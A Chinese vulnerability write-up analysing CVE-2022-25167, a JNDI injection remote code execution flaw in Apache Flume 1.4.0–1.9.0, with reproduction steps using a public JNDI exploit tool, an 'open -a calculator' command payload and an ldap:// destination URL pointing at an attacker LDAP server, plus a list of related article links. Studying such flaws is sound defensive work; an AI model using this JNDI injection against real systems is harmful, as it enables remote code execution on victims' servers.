项目介绍

Flume 是一种分布式、可靠且可用的服务,用于高效收集、聚合和移动大量日志数据。它具有基于流数据流的简单灵活的架构。它具有可调整的可靠性机制以及许多故障转移和恢复机制,具有健壮性和容错性。它使用允许在线分析应用程序的简单可扩展数据模型。

项目地址

Welcome to Apache Flume — Apache Flume

漏洞概述

当攻击者控制目标 LDAP 服务器时,如果配置使用带有 JNDI LDAP 数据源 URI 的 JMS 源,Apache Flume 版本 1.4.0 到 1.9.0 很容易受到 RCE 攻击[1]

影响版本

Apache Flume 1.4.0 - 1.9.0

环境搭建

下载部署即可

Index of /dist/flume/1.10.0

漏洞复现

该漏洞需要使用 JNDI工具辅助复现,可使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具。

工具链接:

GitHub - welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)

命令如下所示:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a calculator"

终端开启监听,搭建 Flume 项目以 jdk1.8 环境运行 TestIntegrationActiveMQ 测试类即可

漏洞分析

查询官网披露信息可知,是由于 JMSSource 类没有进行验证,导致用户传入的数据被反序列化

搭建运行,idea默认生成的 Junit Application 并不能正常运行;先静态分析看一下

按照思路 diff 发现 JMSSource 1.10.0 在 doConfigure 中新增了调用 assertTure 的 uri 校验;转头去找 lookup

定位代码,connectionFactory 调用了 initialContext.lookup

看一下 lookup 的调用方法,传进 InitialContext#getURLOrDefaultInitCtx

lookup 拿到 name ,getURLScheme匹配 :和 /;之后获取链接内容,getURLContext 解释包含样例

For example, if the scheme id is "ldap", and the Context. URL_PKG_PREFIXES property contains "com.widget:com.wiz. jndi", the naming manager would attempt to load the following classes until one is successfully instantiated:
· com.widget.ldap.ldapURLContextFactory
· com.wiz.jndi.ldap.ldapURLContextFactory
· com.sun.jndi.url.ldap.ldapURLContextFactory

基本确定了,接下来尝试漏洞利用

context.put(JMSSourceConfiguration.DESTINATION_NAME,JNDI_PREFIX + DESTINATION_NAME);

项目未提供可将恶意参数传入漏洞触发位置的web界面或api,为了快速进行漏洞分析我们使用官方提供的测试类TestIntegrationActiveMQ, 可以使用该测试类进行漏洞复现与利用

可控参数传入位置在该类的 testQueueLocatedWithJndi 函数,里面只有上述两个 context.put;DESTINATION_NAME即为我们的入口点,name参数正是来自 DESTINATION_NAME ,因此需要在 TestIntegrationActiveMQ 中设置 DESTINATION_NAME 为 ldap 的链接;且需要更改 JNDI_PREFIX 为 ldap

converterClassName is : org.apache.flume.source.jms.DefaultJMSMessageConverter$BuilderdestinationName+dynamicQueues/+test
destinationLocator+JNDI

按照这个尝试修改代码

TestIntegrationActiveMQ 中修改 DESTINATION_NAME 和 JNDI_PREFIX

运行测试发现 testQueueLocatedWithJndi 读入的 信息变成了 ldap://xxxxx:1389/h3puak 且 testQueueLocatedWithJndi 测试报错

context.put 变成

destinationName+ldap://+xxxxxx:1389/h3puak
destinationLocator+JNDI

按照漏洞复现步骤运行工具

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a calculator"

获取到 destinationName:ldap://x.x.x.x:1389/gttkny

收到 ldap了但没执行命令;idea项目Java版本换成 1.8 即可

开源漏洞深度分析|CVE-2022-25167 JNDI命令执行漏洞相关推荐

  1. [ vulhub漏洞复现篇 ] GhostScript 沙箱绕过(任意命令执行)漏洞CVE-2018-16509

  2. struts2漏洞_十大常见web漏洞——命令执行漏洞

    命令执行漏洞在不同框架下都有存在,也是十分普遍且危害极大,下面我们介绍一个最具代表性的,也是影响范围最大的一个命令执行漏洞--Struts2远程代码执行漏洞. Struts2 漏洞介绍 ApacheS ...

  3. php代码审计命令执行,PHP代码审计笔记--命令执行漏洞

    命令执行漏洞,用户通过浏览器在远程服务器上执行任意系统命令,严格意义上,与代码执行漏洞还是有一定的区别. 0x01漏洞实例 例1: $target=$_REQUEST['ip']; $cmd = sh ...

  4. Web安全 RCE漏洞(命令执行漏洞的 测试和利用).

    系统命令执行的概括 系统命令执行一般是 在Web应用中,可能有时候需要调用一些系统命令来执行,而程序在开发的时候没有对输入进行严格的过滤,导致恶意用户可以构造一些恶意的系统命令,从而达成系统命令执行攻 ...

  5. 【web安全】——命令执行漏洞(RCE)详解

    作者名:Demo不是emo  主页面链接:主页传送门 创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷 座右铭:不要让时代的悲哀 ...

  6. 分区起始位置参数溢出_IIS6.0缓冲区溢出漏洞深度分析(CVE-2017-7269)

    漏洞描述 开启WebDAV服务的IIS6.0存在缓冲区溢出漏洞可以任意代码执行,目前针对 Windows Server 2003 R2 可以稳定利用.在WebDAV服务的ScStoragePathFr ...

  7. 【安全漏洞】Rocket.Chat 远程命令执行漏洞分析

    简述 Rocket.Chat 是一个开源的完全可定制的通信平台,由 Javascript 开发,适用于具有高标准数据保护的组织. 2021年3月19日,该漏洞在 HackerOne 被提出,于2021 ...

  8. cve-2019-11076 Cribl UI 1.5.0 未授权命令执行漏洞分析

    Cribl是一款日志分析工具.Cribl UI是其中的一个用户界面. Cribl UI 1.5.0版本中存在安全漏洞.远程攻击者可借助未认证的Web请求利用该漏洞运行任意命令. 前言 前几天瞎逛 Gi ...

  9. 又被野外利用了!新曝光Office产品多个远程命令执行漏洞分析

    本文讲的是又被野外利用了!新曝光Office产品多个远程命令执行漏洞分析, 早在2015年,FireEye曾发布过两次关于Office的Encapsulated PostScript (EPS)图形文 ...

最新文章

  1. SpringBoot第十篇:thymeleaf详解
  2. iPhone SDK Examples
  3. 面试必备:4种经典限流算法讲解
  4. java方法声明无效_java 方法声明无效 需要返回类型
  5. 直接引用arXiv论文不规范?试试这个小工具,秒变正式发表链接,上交大校友开发...
  6. JAVA版游戏下载_我的世界Java版20w51a
  7. delphi 脚本引擎比较
  8. 【C语言简单说】十九:二维数组循环嵌套(2)
  9. 如何实现下拉框的绑定
  10. Vue基础之Vue条件渲染
  11. 微服务架构设计模式~交互方式
  12. 垂直搜索引擎完整实现
  13. el-table固定列之后没有出现滚动条_一道经典的MySQL面试题,答案出现三次反转...
  14. qchart 坐标轴设置_「Qt」利用QChart实现实时动态的曲线数据展示
  15. 使用appium时出现的问题
  16. php脚本自动登录telnet,Windows环境上telnet自动登录和运行脚本
  17. git命令行命令(1)
  18. Java综合实验1题目: 猜心术---猜姓氏游戏
  19. JAVA系统之间通信方式总结
  20. NP-Hard?大白话学习P问题、NP问题、NP完全问题和NP难问题

热门文章

  1. Keil5写的第一个ARM汇编
  2. 安卓班级同学录校友录系统app毕业设计
  3. SolarWinds供应链攻击事件带来的启示
  4. 商业级web阅读器项目(上)
  5. 关于Zotero参考文献格式调整
  6. Excel文件导入功能(带公式)
  7. 第一篇 初步认识PRINCE2 管理体系
  8. 如何一步让你图像分类达到90%以上精准度
  9. 路漫漫其修远兮,吾将坚持而不屑
  10. 微信小程序(天气预报)开发文档